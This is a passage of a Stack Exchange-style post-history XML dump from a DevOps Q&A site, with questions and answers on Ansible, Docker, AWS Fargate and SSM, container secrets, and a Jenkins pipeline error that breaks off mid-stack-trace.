  <row Id="15999" PostHistoryTypeId="1" PostId="5069" RevisionGUID="b405712d-3ad7-412e-b75b-8c8d639f274e" CreationDate="2018-09-26T22:09:32.243" UserId="10039" Text="Where do you start with hosting the infrastructure for your infastructure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16000" PostHistoryTypeId="3" PostId="5069" RevisionGUID="b405712d-3ad7-412e-b75b-8c8d639f274e" CreationDate="2018-09-26T22:09:32.243" UserId="10039" Text="&lt;terraform&gt;&lt;azure&gt;&lt;project-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16001" PostHistoryTypeId="5" PostId="4948" RevisionGUID="1980d447-41d7-497b-b472-fdeab42d4bf3" CreationDate="2018-09-26T23:33:06.653" UserId="9735" Comment="added 187 characters in body" Text="It took me a while to understand this as well as I had experience with Bitbucket Server and not Bitbucket Cloud which is different.&#xD;&#xA;&#xD;&#xA;You do not need to enable the webhook for the Bitbucket Pull Request Builder plugin in Jenkins.&#xD;&#xA;&#xD;&#xA;Just ensure you set the *RepositoryName* and *RepositoryOwner* properly from the URL of your repo as such: `https://bitbucket.org/RepositoryOwner/RepositoryName`&#xD;&#xA;&#xD;&#xA;Once you have that set, a new PR or commit to branch of existing PR will trigger your job.&#xD;&#xA;&#xD;&#xA;P.S. There's a bug in the plugin where you can't use git for other repos such as workflow library or pipeline from scm. Git will try to use the same hash to checkout all repos which will fail the build.&#xD;&#xA;&#xD;&#xA;P.P.S. The webhook in Bitbucket cloud uses a POST with Json data so that can't be used with the git plugin in Jenkins unless you don't care about the hash or branch.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;One last note, I've since moved to use the multibranch pipeline with bitbucket branch plugin and that works great with the webhook as well as allows us to use a workflowlib library" ContentLicense="CC BY-SA 4.0" />
  <row Id="16002" PostHistoryTypeId="2" PostId="5070" RevisionGUID="0fcee072-3f1c-47a1-a046-9fc86e855df0" CreationDate="2018-09-27T01:47:00.317" UserId="10042" Text="My playbook does not create a /tmp/results.txt file, but I expect it to do so with the content of the results of the `find` module.&#xD;&#xA;&#xD;&#xA;Here is my playbook:&#xD;&#xA;&#xD;&#xA;    - name: Do stuff&#xD;&#xA;      become: yes&#xD;&#xA;      hosts: fun&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Delete directory&#xD;&#xA;        find:&#xD;&#xA;          paths: /home/jdoe/subdir&#xD;&#xA;          patterns: &quot;jj*jj&quot;&#xD;&#xA;          use_regex: yes&#xD;&#xA;        register: find_results&#xD;&#xA;      - shell: &quot;echo {{ item.path }} &gt; /tmp/results.txt&quot;&#xD;&#xA;        with_items: &quot;{{ find_results.files }}&quot;&#xD;&#xA;&#xD;&#xA;A managed node with the &quot;fun&quot; label has this subdirectory:&#xD;&#xA;/home/jdoe/subdir/jj3jj/&#xD;&#xA;&#xD;&#xA;What is wrong with my playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16003" PostHistoryTypeId="1" PostId="5070" RevisionGUID="0fcee072-3f1c-47a1-a046-9fc86e855df0" CreationDate="2018-09-27T01:47:00.317" UserId="10042" Text="How do I get the find module to work in Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16004" PostHistoryTypeId="3" PostId="5070" RevisionGUID="0fcee072-3f1c-47a1-a046-9fc86e855df0" CreationDate="2018-09-27T01:47:00.317" UserId="10042" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16005" PostHistoryTypeId="33" PostId="5022" RevisionGUID="532b4f92-7f26-4425-966b-f8ecab667cd0" CreationDate="2018-09-27T02:08:47.467" UserId="707" Comment="27" />
  <row Id="16006" PostHistoryTypeId="5" PostId="5022" RevisionGUID="200a6aa5-da8b-42c4-af38-bd29e0c71f70" CreationDate="2018-09-27T02:09:08.740" UserId="707" Comment="added 4 characters in body" Text="During login after initial setup, Rancher CLI asks the following:&#xD;&#xA;&#xD;&#xA;    Do you want to continue connecting (yes/no)? yes&#xD;&#xA;    NUMBER    CLUSTER NAME                          PROJECT ID        PROJECT NAME   PROJECT DESCRIPTION&#xD;&#xA;    1         xxx                                   c-5tcls:p-b4r55   System         System project created for the cluster&#xD;&#xA;    2         xxx                                   c-5tcls:p-tmx85   Default        Default project created for the cluster&#xD;&#xA;&#xD;&#xA;What is the difference and is there a way to make this choice non-interactively in a headless environment?&#xD;&#xA;&#xD;&#xA;*Note*. For some reason, 1 and 2 get randomly swapped from time to time we run this." ContentLicense="CC BY-SA 4.0" />
  <row Id="16010" PostHistoryTypeId="2" PostId="5071" RevisionGUID="19d7f80b-c1d1-4ac4-a604-327d63064457" CreationDate="2018-09-27T06:54:55.710" UserId="10045" Text="I am using docker-compose to manage docker. Now suppose I want to update a source code in one of the docker. can i do it using the exec but then how to copy to code from host to running container ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or is there any better solution to do the above task ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16011" PostHistoryTypeId="1" PostId="5071" RevisionGUID="19d7f80b-c1d1-4ac4-a604-327d63064457" CreationDate="2018-09-27T06:54:55.710" UserId="10045" Text="docker use exec to update code in running container" ContentLicense="CC BY-SA 4.0" />
  <row Id="16012" PostHistoryTypeId="3" PostId="5071" RevisionGUID="19d7f80b-c1d1-4ac4-a604-327d63064457" CreationDate="2018-09-27T06:54:55.710" UserId="10045" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16013" PostHistoryTypeId="2" PostId="5072" RevisionGUID="a5e38fe3-1f15-49e0-b66c-94a52889900d" CreationDate="2018-09-27T07:21:56.887" UserId="7715" Text="Remove *use_regex: yes*. Quoting from the [doc](https://docs.ansible.com/ansible/latest/modules/find_module.html)&#xD;&#xA;&gt; If false the patterns are file globs (shell) if true they are python regexes.&#xD;&#xA;&#xD;&#xA;You probably want to append to file **&gt;&gt;**&#xD;&#xA;&#xD;&#xA;    echo {{ item.path }} &gt;&gt; /tmp/results.txt" ContentLicense="CC BY-SA 4.0" />
  <row Id="16014" PostHistoryTypeId="5" PostId="5072" RevisionGUID="926a2fd1-4fd7-4a9b-8ee8-cdd5444940cd" CreationDate="2018-09-27T07:42:11.813" UserId="7715" Comment="Python regex added." Text="Remove *use_regex: yes*. Quoting from the [doc](https://docs.ansible.com/ansible/latest/modules/find_module.html)&#xD;&#xA;&gt; If false the patterns are file globs (shell) if true they are python regexes.&#xD;&#xA;&#xD;&#xA;If you want to use Python regex then the pattern would be probably something like this&#xD;&#xA;&#xD;&#xA;    patterns: '[j]{2}.[j]{2}'&#xD;&#xA;&#xD;&#xA;You probably want to append to file **&gt;&gt;**&#xD;&#xA;&#xD;&#xA;    echo {{ item.path }} &gt;&gt; /tmp/results.txt" ContentLicense="CC BY-SA 4.0" />
  <row Id="16017" PostHistoryTypeId="6" PostId="1090" RevisionGUID="44f9248e-46ae-4ac6-a347-fa05fcf1ed18" CreationDate="2018-09-27T08:16:23.070" UserId="228" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;conferences&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16018" PostHistoryTypeId="2" PostId="5073" RevisionGUID="d78b6693-8446-48ba-b610-82e9350dd736" CreationDate="2018-09-27T08:55:45.833" UserId="10048" Text="I need to do some large scale testing on a system. The system consists of 2 main parts: Manager and Nodes. There will be only one manager server, but 100 nodes. Both the manager and nodes are Docker images.&#xD;&#xA;&#xD;&#xA;I want to be able to spin up a setup on AWS, where an instance of a manager, and 100 instances (one instance per server) of the node is started.&#xD;&#xA;&#xD;&#xA;What would I use for this? The manager and nodes should be able to communicate together, and the nodes should not be load balanced in any way. So they need a dedicated internal IP that the manager can communicate with.&#xD;&#xA;&#xD;&#xA;I've looked at ECS and CloudFormation+EC2 with a custom AMI, but I'm not sure what is the way to go.&#xD;&#xA;&#xD;&#xA;Ideally I want a script that I once in a while can run to launch the servers, and close them down easily.&#xD;&#xA;&#xD;&#xA;Any suggestions on what I can do on AWS to launch this setup with ease?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16019" PostHistoryTypeId="1" PostId="5073" RevisionGUID="d78b6693-8446-48ba-b610-82e9350dd736" CreationDate="2018-09-27T08:55:45.833" UserId="10048" Text="Best way to launch 100 identical Docker machines on AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16020" PostHistoryTypeId="3" PostId="5073" RevisionGUID="d78b6693-8446-48ba-b610-82e9350dd736" CreationDate="2018-09-27T08:55:45.833" UserId="10048" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16021" PostHistoryTypeId="2" PostId="5074" RevisionGUID="bbf92b26-f216-46e7-81cc-500b52e856fe" CreationDate="2018-09-27T10:02:32.807" UserId="8800" Text="Look at **[AWS Fargate][1]** - it lets you run your Docker containers without having to spin up the EC2 instances for an ECS cluster. You simply schedule the Tasks (or Services), each gets is own IP address and they can talk to each other. &#xD;&#xA;&#xD;&#xA;You can also use **[AWS Service Discovery][2]** to facilitate the registration and lookup of the tasks' IP addresses.&#xD;&#xA;&#xD;&#xA;BTW Note that the default Fargate concurrency limit is 20 Tasks/Services - if you need 100 of them you'll have to raise a Service Limit increase support ticket. &#xD;&#xA;&#xD;&#xA;We've got it raised to 200 concurrent tasks because our processing runs 160+ containers in parallel, all on Fargate without a single EC2 to manage. &#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/fargate/&#xD;&#xA;  [2]: https://aws.amazon.com/blogs/aws/amazon-ecs-service-discovery/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16022" PostHistoryTypeId="5" PostId="5071" RevisionGUID="989bdb60-ac8a-4b62-99b7-79f39637b5a2" CreationDate="2018-09-27T10:33:42.923" UserId="800" Comment="Better Formatting" Text="I am using docker-compose to manage docker. Now suppose I want to update a source code in one of the docker containers.  &#xD;&#xA;Can I do it using the exec but then how to copy the code from host to running container ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or is there any better solution to do the above task ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16023" PostHistoryTypeId="4" PostId="5071" RevisionGUID="989bdb60-ac8a-4b62-99b7-79f39637b5a2" CreationDate="2018-09-27T10:33:42.923" UserId="800" Comment="Better Formatting" Text="How the use Docker exec to update code into a running container" ContentLicense="CC BY-SA 4.0" />
  <row Id="16024" PostHistoryTypeId="24" PostId="5071" RevisionGUID="989bdb60-ac8a-4b62-99b7-79f39637b5a2" CreationDate="2018-09-27T10:33:42.923" Comment="Proposed by 800 approved by -1 edit id of 793" ContentLicense="CC BY-SA 4.0" />
  <row Id="16025" PostHistoryTypeId="5" PostId="5071" RevisionGUID="e18c83d7-c188-4086-88c0-839b04d20659" CreationDate="2018-09-27T10:33:42.923" UserId="40" Comment="deleted 2 characters in body" Text="I am using docker-compose to manage Docker. Now suppose I want to update a source code in one of the Docker containers.&#xD;&#xA;&#xD;&#xA;Can I do it using the exec but then how to copy the code from host to running container ?&#xD;&#xA;&#xD;&#xA;Or is there any better solution to do the above task ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16026" PostHistoryTypeId="50" PostId="4189" RevisionGUID="994629fa-3f2b-425d-a306-a9a18ba52832" CreationDate="2018-09-27T15:01:30.390" UserId="-1" />
  <row Id="16027" PostHistoryTypeId="2" PostId="5075" RevisionGUID="a8cdb592-78d0-4784-898b-91fe5d1cdfe6" CreationDate="2018-09-27T15:23:24.050" UserId="8554" Text="I lean towards more repositories or submodules. &#xD;&#xA;&#xD;&#xA;Sure there might be some more configuration to do (hooks, permissions etc.), but understanding a repository with 5 files in it is a lot easier than understanding one with 5 folders. &#xD;&#xA;&#xD;&#xA;As you mentioned, programmers use different repositories when implementing micro services. They split them up logically based on interfaces or APIs. As a sys admin you could split up repositories by defining logically what each of your components are responsible for. &#xD;&#xA;&#xD;&#xA;For example, if your automation code is for testing/monitoring your Iaas I would put those together in the same repository. The tests verify the validity of your infrastructure. As for your lambda functions, could they potentially be reused for other types of Iaas? Can they be extended for other functions? &#xD;&#xA;&#xD;&#xA;Also ask yourself if someone new started today, could they understand your repo and submit a pull request? Or would they be overwhelmed? &#xD;&#xA;&#xD;&#xA;Less complex repositories enable other users to be able to make meaningful contributions in less time." ContentLicense="CC BY-SA 4.0" />
  <row Id="16028" PostHistoryTypeId="50" PostId="1622" RevisionGUID="efae122a-56d3-451d-9753-d55a90b7f873" CreationDate="2018-09-27T17:01:49.470" UserId="-1" />
  <row Id="16029" PostHistoryTypeId="50" PostId="3177" RevisionGUID="175613f1-b1b4-42b1-84f6-27644728a04c" CreationDate="2018-09-27T20:01:30.077" UserId="-1" />
  <row Id="16030" PostHistoryTypeId="50" PostId="2536" RevisionGUID="3431142a-802b-4010-909d-5bf9adf2c68c" CreationDate="2018-09-27T21:00:47.523" UserId="-1" />
  <row Id="16031" PostHistoryTypeId="2" PostId="5076" RevisionGUID="74688978-478a-493d-95b7-0ef859d379cb" CreationDate="2018-09-28T07:16:20.400" UserId="10069" Text="I'd like to use the Angular CLI to build the app and deploy it on my remote server via SSH. Is this feature available?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16032" PostHistoryTypeId="1" PostId="5076" RevisionGUID="74688978-478a-493d-95b7-0ef859d379cb" CreationDate="2018-09-28T07:16:20.400" UserId="10069" Text="Can the Angular CLI be used to build and deploy on a remote server via ssh?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16033" PostHistoryTypeId="3" PostId="5076" RevisionGUID="74688978-478a-493d-95b7-0ef859d379cb" CreationDate="2018-09-28T07:16:20.400" UserId="10069" Text="&lt;deployment&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16034" PostHistoryTypeId="2" PostId="5077" RevisionGUID="27d4d56e-69a5-415e-aadf-c5f6fc91142a" CreationDate="2018-09-28T08:23:44.993" UserId="10070" Text="I'm new to Docker and want to put my Django web application into containers.&#xD;&#xA;&#xD;&#xA;For the last couple days I'm struggling with passing credentials safe to containers. &#xD;&#xA;&#xD;&#xA;Online there is always the hint that secrets should not be passed as environment variable because they can be retrieved via inspect or from the images. My hope is that it can be neglected for my setup.&#xD;&#xA;&#xD;&#xA;The setup&#xD;&#xA;&#xD;&#xA;- I provide the credentials via .env file of docker compose. This file is not on version control.&#xD;&#xA;&#xD;&#xA;- The containers are running as non-elevanted users (a different special user).&#xD;&#xA;&#xD;&#xA;- Docker command on the host can be used as root only.&#xD;&#xA;&#xD;&#xA;- I'm the only user of the host server (Ubuntu 18.04).&#xD;&#xA;&#xD;&#xA;- I assume breaking into the host is much harder (I'm using SSH public key authentication with non-root user only) than breaking into container of the Django app. &#xD;&#xA;&#xD;&#xA;- I don't want to use kubernetes or swarm. &#xD;&#xA;&#xD;&#xA;I'm newbie to Docker and not a security expert. Do I have overlooked something? Why should I care about the docker inspect or images in this setup?&#xD;&#xA;&#xD;&#xA;Thank you in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="16035" PostHistoryTypeId="1" PostId="5077" RevisionGUID="27d4d56e-69a5-415e-aadf-c5f6fc91142a" CreationDate="2018-09-28T08:23:44.993" UserId="10070" Text="Docker security risks passing secrets over environment variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="16036" PostHistoryTypeId="3" PostId="5077" RevisionGUID="27d4d56e-69a5-415e-aadf-c5f6fc91142a" CreationDate="2018-09-28T08:23:44.993" UserId="10070" Text="&lt;docker&gt;&lt;linux&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16037" PostHistoryTypeId="2" PostId="5078" RevisionGUID="9808bf8f-b5cb-4242-899a-4e6974a12d91" CreationDate="2018-09-28T08:28:26.247" UserId="10071" Text="Yes, you can do this with AWS Systems manager. AWS Systems Manager Run Command allows you to remotely and securely run set of commands on EC2 as well on-premise server. Below are high-level steps to achieve this.&#xD;&#xA;&#xD;&#xA;Attach Instance IAM role:&#xD;&#xA;The ec2 instance must have IAM role with policy AmazonSSMFullAccess. This role enables the instance to communicate with the Systems Manager API.&#xD;&#xA;&#xD;&#xA;Install SSM Agent:&#xD;&#xA;The EC2 instance must have SSM agent installed on it. The SSM Agent process the run command requests &amp; configure the instance as per command.&#xD;&#xA;&#xD;&#xA;Execute command :&#xD;&#xA;Example usage via AWS CLI:&#xD;&#xA;&#xD;&#xA;Execute the following command to retrieve the services running on the instance. Replace Instance-ID with ec2 instance id.&#xD;&#xA;&#xD;&#xA;    aws ssm send-command --document-name &quot;AWS-RunShellScript&quot; --comment &quot;listing services&quot; --instance-ids &quot;Instance-ID&quot; --parameters commands=&quot;service --status-all&quot; --region us-west-2 --output text&#xD;&#xA;&#xD;&#xA;More detailed information: https://www.justdocloud.com/2018/04/01/run-commands-remotely-ec2-instances/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16038" PostHistoryTypeId="2" PostId="5079" RevisionGUID="961a2def-9cfe-4642-9d90-225669bd58d9" CreationDate="2018-09-28T08:33:24.863" UserId="9655" Text="You need to use continuous deployment tools.&#xD;&#xA;Not available yet." ContentLicense="CC BY-SA 4.0" />
  <row Id="16039" PostHistoryTypeId="2" PostId="5080" RevisionGUID="65f736dd-631d-4dc3-aca8-221dd8bfdc13" CreationDate="2018-09-28T08:37:11.787" UserId="9655" Text="It's a bad practice.&#xD;&#xA;You need to use Continuous Integration rebuild docker image (see Dockerfile) every time when source code changed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16040" PostHistoryTypeId="2" PostId="5081" RevisionGUID="5154bad5-0216-4137-88d9-8c649957eb9e" CreationDate="2018-09-28T12:37:23.583" UserId="8554" Text="In terms of doing it once to verify how this is done you can use the `docker cp` command from the host machine -&gt; https://docs.docker.com/engine/reference/commandline/cp/&#xD;&#xA;&#xD;&#xA;But I agree with Meiram, this is bad practice. You want to be able to have the ability to revert back to a previous version of not only the code but also the container. &#xD;&#xA;&#xD;&#xA;There is a very good tutorial here integrating Docker/DockerHub with Github, Jenkins, and even Sonarqube. &#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/reference/commandline/cp/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16041" PostHistoryTypeId="2" PostId="5082" RevisionGUID="c011c24f-79bc-4bab-a8c1-f475f69bf0c3" CreationDate="2018-09-28T14:34:11.730" UserId="4394" Text="ENV variables are a good way of passing secrets to a container. What you don't want to do is bake the secrets directly in the image. As you have rightly done, do not store secrets in your source control repo as well. &#xD;&#xA;&#xD;&#xA;Besides ENV variables, you could also consider using an external secrets repository, such as Hashicorp [Vault](https://www.vaultproject.io/), or possibly even AWS secrets. See git [repo](https://github.com/hashicorp/vault). Your container would still need a token/credentials required to Authenticate/Authorize with the key store, but if required, these can be made to expire/ rotate.&#xD;&#xA;&#xD;&#xA;So you are on the right path. Some additional reading is worthwhile at this point -&#xD;&#xA;* https://medium.com/@mccode/dont-embed-configuration-or-secrets-in-docker-images-7b2e0f916fdd&#xD;&#xA;* https://techbeacon.com/how-keep-your-container-secrets-secure" ContentLicense="CC BY-SA 4.0" />
  <row Id="16042" PostHistoryTypeId="5" PostId="5081" RevisionGUID="bfb0bde6-f8ee-4e5a-8deb-eb329155d1be" CreationDate="2018-09-28T14:55:52.083" UserId="8554" Comment="wrong link" Text="In terms of doing it once to verify how this is done you can use the `docker cp` command from the host machine -&gt; https://docs.docker.com/engine/reference/commandline/cp/&#xD;&#xA;&#xD;&#xA;But I agree with Meiram, this is bad practice. You want to be able to have the ability to revert back to a previous version of not only the code but also the container. &#xD;&#xA;&#xD;&#xA;There is a very good tutorial here integrating Docker/DockerHub with Github, Jenkins, and even Sonarqube. &#xD;&#xA;&#xD;&#xA;https://medium.com/@hakdogan/an-end-to-end-tutorial-to-continuous-integration-and-continuous-delivery-by-dockerize-jenkins-f5b9b45b610d&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16044" PostHistoryTypeId="5" PostId="5082" RevisionGUID="50c03852-78bb-489d-8b09-cf6aa368009b" CreationDate="2018-09-28T16:22:58.210" UserId="739" Comment="formatting and copy edit" Text="ENV variables are a good way of passing secrets to a container. What you don't want to do is bake the secrets directly in the image. As you have rightly done, do not store secrets in your source control repo as well. &#xD;&#xA;&#xD;&#xA;Besides ENV variables, you could also consider using an external secrets repository, such as Hashicorp [Vault](https://www.vaultproject.io/), or possibly even AWS secrets. See also [vault's github page](https://github.com/hashicorp/vault). Your container would still need a token/credentials required to Authenticate/Authorize with the key store, but if required, these can be made to expire/ rotate.&#xD;&#xA;&#xD;&#xA;So you are on the right path. Some additional reading is worthwhile at this point:&#xD;&#xA;&#xD;&#xA;* https://medium.com/@mccode/dont-embed-configuration-or-secrets-in-docker-images-7b2e0f916fdd&#xD;&#xA;* https://techbeacon.com/how-keep-your-container-secrets-secure" ContentLicense="CC BY-SA 4.0" />
  <row Id="16045" PostHistoryTypeId="24" PostId="5082" RevisionGUID="50c03852-78bb-489d-8b09-cf6aa368009b" CreationDate="2018-09-28T16:22:58.210" Comment="Proposed by 739 approved by -1 edit id of 794" ContentLicense="CC BY-SA 4.0" />
  <row Id="16046" PostHistoryTypeId="5" PostId="5082" RevisionGUID="64277219-77f9-49c0-861e-0bcf1e4f3dbb" CreationDate="2018-09-28T16:22:58.210" UserId="40" Comment="deleted 1 character in body" Text="ENV variables are a good way of passing secrets to a container. What you don't want to do is bake the secrets directly in the image. As you have rightly done, do not store secrets in your source control repo as well. &#xD;&#xA;&#xD;&#xA;Besides ENV variables, you could also consider using an external secrets repository, such as Hashicorp [Vault](https://www.vaultproject.io/), or possibly even AWS secrets. See also [vault's github page](https://github.com/hashicorp/vault). Your container would still need a token/credentials required to Authenticate/Authorize with the key store, but if required, these can be made to expire/rotate.&#xD;&#xA;&#xD;&#xA;So you are on the right path. Some additional reading is worthwhile at this point:&#xD;&#xA;&#xD;&#xA;* https://medium.com/@mccode/dont-embed-configuration-or-secrets-in-docker-images-7b2e0f916fdd&#xD;&#xA;* https://techbeacon.com/how-keep-your-container-secrets-secure" ContentLicense="CC BY-SA 4.0" />
  <row Id="16047" PostHistoryTypeId="5" PostId="5078" RevisionGUID="a7f3d318-027a-48b8-8500-73bd2e9f8fd1" CreationDate="2018-09-28T17:03:47.560" UserId="10071" Comment="added 22 characters in body" Text="Yes, you can do this with AWS Systems manager. AWS Systems Manager Run Command allows you to remotely and securely run set of commands on EC2 as well on-premise server. Below are high-level steps to achieve this.&#xD;&#xA;&#xD;&#xA;Attach Instance IAM role:&#xD;&#xA;The ec2 instance must have IAM role with policy AmazonSSMFullAccess. This role enables the instance to communicate with the Systems Manager API.&#xD;&#xA;&#xD;&#xA;Install SSM Agent:&#xD;&#xA;The EC2 instance must have SSM agent installed on it. The SSM Agent process the run command requests &amp; configure the instance as per command.&#xD;&#xA;&#xD;&#xA;Execute command :&#xD;&#xA;Example usage via AWS CLI:&#xD;&#xA;&#xD;&#xA;Execute the following command to retrieve the services running on the instance. Replace Instance-ID with ec2 instance id.&#xD;&#xA;&#xD;&#xA;    aws ssm send-command --document-name &quot;AWS-RunShellScript&quot; --comment &quot;listing services&quot; --instance-ids &quot;Instance-ID&quot; --parameters commands=&quot;service --status-all&quot; --region us-west-2 --output text&#xD;&#xA;&#xD;&#xA;More detailed information: [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.justdocloud.com/2018/04/01/run-commands-remotely-ec2-instances/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16048" PostHistoryTypeId="2" PostId="5083" RevisionGUID="6a5a21a6-92d0-4a71-9a2d-5c982bd04686" CreationDate="2018-09-28T19:09:09.543" UserId="7730" Text="As long as no one else is logging into the server or able to run docker commands against the host, then passing secrets as an environment variable into the container which is only stored on the host is relatively secure. About the only risk I can think of is that it is a clear text value on the disk, so you have the risk of the secret escaping with a lost harddrive or backup. &#xD;&#xA;&#xD;&#xA;Docker's swarm mode secrets have the following advantages over environment variables and other ways of managing secrets:&#xD;&#xA;&#xD;&#xA;- Values are encrypted on the manager hard drives, though typically, the decryption key is also there to make restarting managers easier.&#xD;&#xA;- Values are not written to disk on workers, they are injected as a file on a tmpfs filesystem mounted into the container.&#xD;&#xA;- Values are not able to be displayed with an inspect command on the service, container, or the secret itself. You must deploy a service with the secret to get access to that secret.&#xD;&#xA;- Secrets are automatically sent to workers on a need to know basis from the managers, no need to build an external process to synchronize files across hosts.&#xD;&#xA;- The secret file may be limited with unix filesystem permissions, e.g. only enabling root read access, and having your container drop access to another user after loading the secret.&#xD;&#xA;&#xD;&#xA;That said, no matter what, all secret management solutions are a way to give your application a clear text password or other credential. And with a process, every way of doing that has some level of risk. One of the best ways to reduce that risk is to make sure every service gets its own individual secret, with only the access needed by that specific service, and that it is frequently rotated. It's also useful to look at additional layers of security, like network policies you can configure with service mesh solutions." ContentLicense="CC BY-SA 4.0" />
  <row Id="16049" PostHistoryTypeId="2" PostId="5084" RevisionGUID="6667996d-c8ca-48ec-9980-88cf2b02bbc1" CreationDate="2018-09-28T21:22:05.377" UserId="9148" Text="Here's my current set-up:&#xD;&#xA;&#xD;&#xA; 1. Jenkins Master running in Docker on an Ubuntu 18.04 host.&#xD;&#xA; 2. A Node running Ubuntu 18.04 with Docker installed.&#xD;&#xA; 3. Desired job spins up docker containers on the node which build products in parallel and output to a shared volume.&#xD;&#xA;&#xD;&#xA;The issue I'm running into is I'm unable to switch to a directory on the container in which I need to run build commands. The directories exist and can be access using `sh()` to run various commands for verification. When I try:&#xD;&#xA;&#xD;&#xA;    dir(&quot;/path/on/container&quot;) {&#xD;&#xA;        sh &quot;pwd&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The console output appears that the `dir()` function is executed, but there's a failure when tryining to run anything between the curly braces. The failures are (full error text at the end of this post): `hudson.remoting.Channel$CallSiteStackTrace: Remote call to DockerHostNode` and `java.nio.file.AccessDeniedException: /path/on/container`.&#xD;&#xA;&#xD;&#xA;    [DockerTest] Running shell script&#xD;&#xA;    + pwd&#xD;&#xA;    /home/jenkins/workspace/DockerTest&#xD;&#xA;    [Pipeline] dir&#xD;&#xA;    Running in /path/on/container&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    Are we in the project dir?&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // dir&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    Also:   hudson.remoting.Channel$CallSiteStackTrace: Remote call to DockerHostNode&#xD;&#xA;    		at hudson.remoting.Channel.attachCallSiteStackTrace(Channel.java:1741)&#xD;&#xA;    		at hudson.remoting.UserRequest$ExceptionResponse.retrieve(UserRequest.java:357)&#xD;&#xA;    		at hudson.remoting.Channel.call(Channel.java:955)&#xD;&#xA;    		at hudson.FilePath.act(FilePath.java:1070)&#xD;&#xA;    		at hudson.FilePath.act(FilePath.java:1059)&#xD;&#xA;    		at hudson.FilePath.mkdirs(FilePath.java:1244)&#xD;&#xA;    		at org.jenkinsci.plugins.durabletask.FileMonitoringTask$FileMonitoringController.&lt;init&gt;(FileMonitoringTask.java:171)&#xD;&#xA;    		at org.jenkinsci.plugins.durabletask.BourneShellScript$ShellController.&lt;init&gt;(BourneShellScript.java:197)&#xD;&#xA;    		at org.jenkinsci.plugins.durabletask.BourneShellScript$ShellController.&lt;init&gt;(BourneShellScript.java:189)&#xD;&#xA;    		at org.jenkinsci.plugins.durabletask.BourneShellScript.launchWithCookie(BourneShellScript.java:110)&#xD;&#xA;    		at org.jenkinsci.plugins.durabletask.FileMonitoringTask.launch(FileMonitoringTask.java:98)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.steps.durable_task.DurableTaskStep$Execution.start(DurableTaskStep.java:264)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.DSL.invokeStep(DSL.java:270)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.DSL.invokeMethod(DSL.java:180)&#xD;&#xA;    		at org.jenkinsci.plugins.workflow.cps.CpsScript.invokeMethod(CpsScript.java:122)&#xD;&#xA;    		at sun.reflect.GeneratedMethodAccessor263.invoke(Unknown Source)&#xD;&#xA;    		at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;    		at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;    		at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)&#xD;&#xA;    		at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)&#xD;&#xA;    		at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1213)&#xD;&#xA;    		at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1022)&#xD;&#xA;    		at org.codehaus.groovy.runtime.callsite.PogoMetaClassSite.call(PogoMetaClassSite.java:42)&#xD;&#xA;    		at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)&#xD;&#xA;    		at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:113)&#xD;&#xA;    		at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:157)&#xD;&#xA;    		at org.kohsuke.groovy.sandbox.GroovyInterceptor.onMethodCall(GroovyInterceptor.java:23)&#xD;&#xA;    		at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onMethodCall(SandboxInterceptor.java:155)&#xD;&#xA;    		at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:155)&#xD;&#xA;    		at 